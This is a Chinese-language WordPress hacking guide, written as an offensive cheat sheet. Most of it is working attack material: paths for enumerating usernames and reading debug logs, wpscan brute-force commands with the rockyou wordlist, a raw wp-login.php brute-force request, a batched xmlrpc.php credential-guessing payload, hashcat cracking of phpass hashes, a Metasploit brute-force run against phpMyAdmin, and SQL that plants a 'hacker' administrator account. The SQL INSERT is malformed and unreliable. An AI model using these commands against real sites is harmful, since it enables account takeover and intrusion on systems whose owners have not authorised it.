WordPress hacking

WordPress是一個以PHP和MySQL為平台的自由開源的部落格軟體和內容管理系統。根據統計,WordPress是最常被駭客攻擊的目標。

常見的威脅主要有三個

  • 獲取敏感信息
  • 爆破密碼
  • 工具掃描

敏感信息

常見方法有以下幾種

查詢wordpress版本

訪問 /?feed=rss2 或 /feed,會返回以下內容,可知道版本
<generator>https://wordpress.org/?v=6.5.3</generator>


查詢wordpress相關日誌

可訪問以下位置搜集情報

/wp-content/debug.log


取得網站的用戶名

可訪問以下位置搜集情報

/?author=1

/wp-json/wp/v2/users

/?rest_route=/wp/v2/users


檢查是否開啟用戶註冊

可訪問以下位置搜集情報

/wp-login.php?action=register


檢查xmlrpc.php

xmlrpc.php在低版本(3.6.1以下)存在 ssrf 可以嘗試讀取文件,其他版本可以使用它來爆破密碼


密碼爆破

常見方法有以下幾種

透過wpscan 爆破進入後台

使用wpscan預設字典爆破用戶名

sudo wpscan --url "http://www.wptest.com" -e u

使用指定字典爆破使用者名稱和密碼

sudo wpscan --url "http://www.wptest.com" -U /usr/share/wordlists/wfuzz/others/names.txt -P /usr/share/wordlists/rockyou.txt

針對用戶名爆破密碼

sudo wpscan --url "http://www.wptest.com" -U admin -P /usr/share/wordlists/rockyou.txt


wp-login.php

直接登入爆破後台帳號密碼(建議使用 burp 抓包進行爆破)

POST /wp-login.php HTTP/1.1
Host: target.com

log=admin&pwd=BRUTEFORCE_IN_HERE&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1


xmlrpc.php

透過 xmlrpc.php 來批次爆破使用者名稱和密碼(速度很快),透過修改標籤來批次爆破使用者名稱或密碼

POST /xmlrpc.php HTTP/1.1
Host: target.com

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>user01</value></param>
<param><value>pass01</value></param>
<param><value>user02</value></param>
<param><value>pass02</value></param>
</params>
</methodCall>

ps:要關閉XMLRPC的功能,主要有四個方法,可參考 https://blog.hungwin.com.tw/wordpress-disable-xmlrpc/


Hashcat解密使用者Hash

如果透過sql注入漏洞查詢到使用者的Hash,可以用Hashcat 破解相對應的Hash 進入後台

假如hash為$P$B7ak3qT3j.2y3UPGato2rbatl58FIF,使用rockyou字典檔破解wordpress密碼方式如下

# echo $P$B7ak3qT3j.2y3UPGato2rbatl58FIF > hash.txt
# sudo hashcat -a 0 -m 400 hash.txt /usr/share/wordlists/rockyou.txt

相關參數說明如下

  • -m 400 指定正在破解的雜湊類型(phpass)
  • -a 0 表示字典攻擊


入侵phpmyadmin修改Wordpress管理員密碼

透過掃描目錄得到phpmyadmin位置,然後爆破或其他方式得到登錄密碼。入侵進去後在取代或修改相關管理員的Hash來成功登錄wordpress的後台

透過MSF爆破phpmyadmin的root密碼

msf> use auxiliary/scanner/http/phpmyadmin_login
msf auxiliary(scanner/http/phpmyadmin_login)> set rhosts www.wptest.com
msf auxiliary(scanner/http/phpmyadmin_login)> set rport 80
msf auxiliary(scanner/http/phpmyadmin_login)> set targeturi /phpmyadmin/index.php
msf auxiliary(scanner/http/phpmyadmin_login)> set threads 100
msf auxiliary(scanner/http/phpmyadmin_login)> set stop_on_success true
msf auxiliary(scanner/http/phpmyadmin_login)> set username root
msf auxiliary(scanner/http/phpmyadmin_login)> set pass_file /usr/share/wordlists/metasploit/password.lst
msf auxiliary(scanner/http/phpmyadmin_login)> set user_as_pass true
msf auxiliary(scanner/http/phpmyadmin_login)> run

以下註釋為下面命令的解釋

  • use 進入模組
  • rhosts 設定目標的位址
  • rport 目標端口,注意 https 的目標需要開啟 ssl 為 true
  • targeturi 設定目標 phpmyadmin 的 url 路徑
  • threads 設定線程數
  • stop_on_success 爆破成功一就停止
  • username 設定使用者名稱
  • user_file 設定使用者名字典
  • pass_file 設定爆破密碼字典
  • user_as_pass 把使用者也當作密碼嘗試

爆破成功後新增帳號或修改密碼

新增帳號SQL語法如下,hash密碼為adminadmin

INSERT INTO wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, `display_``)
(2, 'hacker', '$P$B7ak3qT3j.2y3UPGato2rbatl58FIF/', 'admin', 'demo@xp.cn', '[http://www.wptest.com](http://www.wptest. com/)', '2020-09-10 08:06:44', '', 0, 'admin');

修改密碼SQL語法如下,Hash密碼為adminadmin

UPDATE wp_users SET user_pass="$P$B7ak3qT3j.2y3UPGato2rbatl58FIF/" WHERE ID = 2;


工具掃描

常見掃描工具有以下3個

  • wpscan
  • WordPresscan
  • wpscan-go


wpscan

使用wpscan 進行掃描,如果有--api-token掃描的插件可以自動去官網進行相關漏洞的查詢,不然只能手動到官網進行相關漏洞的查詢

  • 掃描相關外掛程式漏洞

掃描插件漏洞,可到https://wpscan.com/plugins查詢相關漏洞

sudo wpscan --url "http://www.wptest.com" --enumerate p

  • 掃描相關主題漏洞

掃描主題相關漏洞,可到https://wpscan.com/themes查詢相關漏洞

sudo wpscan --url "http://www.wptest.com" --enumerate vt

  • 其他wpscan掃描漏洞命令

sudo wpscan --url "http://www.wptest.com" --enumerate vp,vt,tt,u


WordPresscan

WordPresscan是一款針對wordpress的漏洞掃描工具。該專案使用python2開發的,所以需要使用python2運作

GithHub專案網址:https://github.com/swisskyrepo/Wordpresscan.git

使用命令參考如下

python2 wordpresscan.py --aggressive --random-agent -u "http://www.wptest.com" --threads 100


wpscan-go

wpscan是用Go開發的CMS WordPress中的漏洞辨識工具。

GithHub專案網址:https://github.com/krishpranav/wpscan

使用前需要下載項目並進行編譯

git clone https://github.com/krishpranav/wpscan
cd wpscan
go get
go build main.go

使用命令參考如下

./main -u "http://www.wptest.com" --aggressive-mode